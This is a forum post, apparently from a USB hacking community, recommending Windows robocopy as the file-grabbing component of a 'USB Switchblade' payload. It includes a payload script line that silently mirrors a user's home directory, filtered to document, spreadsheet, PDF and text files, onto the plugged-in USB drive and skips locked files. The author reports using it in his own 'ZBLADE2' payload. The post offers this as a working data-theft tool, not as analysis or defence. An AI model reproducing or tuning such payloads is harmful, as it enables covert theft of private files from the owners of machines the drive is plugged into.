Jump to content

NEW: using ROBOCOPY from WinServer2003 RK to power USB file dumping!


kz26
 Share

Recommended Posts

I wanted a fast and flexible solution for USB Switchblade-based file dumping. And I think I found the perfect tool - ROBOCOPY (Robust file copy) from the Windows Server 2003 Resource Kit.

It is a portable, single EXE command-line tool. Robocopy can mirror an entire directory structure to another location (the USB drive) AND allows you to pick what file extensions/types to copy.

Other tools I used did one or the other but not both, which was more or less useless.

http://www.microsoft.com/downloads/details...;displaylang=en

Once you install the Resource Kit, just copy robocopy.exe from the installation directory to your USB drive.

The following code is an example of how to integrate it into a payload's runtime script.

set dump_ext=*.doc *.docx *.xls *.xlsx *.txt *.rtf *.pdf
robocopy.exe "%homedrive%%homepath" %drive%zblade2dumps%computername%files %dump_ext% /MIR /R:0

The /MIR option enables directory mirroring and /R:0 means to skip files that cannot be copied.

Robocopy can also do session logging if you want to save a list of all the files it copies.

I am already using ROBOCOPY in my custom ZBLADE2 payload, and it works great.

I truly believe that this is the best solution by far for file dumping. Please post if you have any suggestions or comments on using Robocopy in a payload - I just remembered this program and would love to see what people think!

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...